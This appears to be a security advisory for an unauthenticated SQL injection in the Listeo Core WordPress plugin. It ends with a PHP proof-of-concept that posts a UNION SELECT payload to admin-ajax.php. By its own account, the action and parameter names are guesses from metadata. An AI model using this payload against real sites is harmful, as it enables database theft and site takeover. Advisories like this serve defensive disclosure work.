Atomic Edge analysis of CVE-2026-25461 (metadata-based):
The vulnerability is a critical SQL Injection in the WordPress plugin Listeo Core. The flaw allows unauthenticated attackers to execute arbitrary SQL commands via a specific AJAX endpoint. This grants direct access to the underlying database.
Atomic Edge research infers the root cause is insufficient input sanitization before SQL query construction. The plugin likely uses user-supplied parameters directly in a SQL statement via the `$wpdb` class without proper escaping or prepared statements. This conclusion is based on the vulnerability type and common WordPress plugin patterns, as no source code diff is available for confirmation.
Exploitation occurs by sending a crafted POST request to the WordPress AJAX handler. The request targets the `listeo_core` action hook with a malicious parameter. A typical payload would close an existing SQL query string and append a UNION SELECT statement to extract data. The endpoint is `/wp-admin/admin-ajax.php` with the parameter `action=listeo_core_{specific_action}`.
Remediation requires implementing proper input validation and using prepared statements. The plugin should replace direct variable interpolation in SQL queries with `$wpdb->prepare()` calls. All user-controlled parameters must be sanitized and validated against an expected type or value whitelist before database interaction.
Successful exploitation leads to full database compromise. Attackers can extract, modify, or delete sensitive information including user credentials, personal data, and plugin-specific content. This can facilitate complete site takeover, privilege escalation, and further server-side attacks.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25461 - Listeo Core Unauthenticated SQL Injection
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// The exact vulnerable AJAX action is inferred from the plugin slug.
// Common patterns include 'listeo_core_search', 'listeo_core_get_data', or similar.
$ajax_action = 'listeo_core_search';
// Malicious parameter name is unknown from metadata; using a common candidate.
$vuln_param = 'search_term';
// SQL Injection payload to extract the database version.
$payload = "' UNION SELECT @@version, NULL, NULL, NULL-- -";
$post_data = array(
'action' => $ajax_action,
$vuln_param => $payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Suppress SSL warnings for testing environments.
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response Body:n";
echo $response;
?>
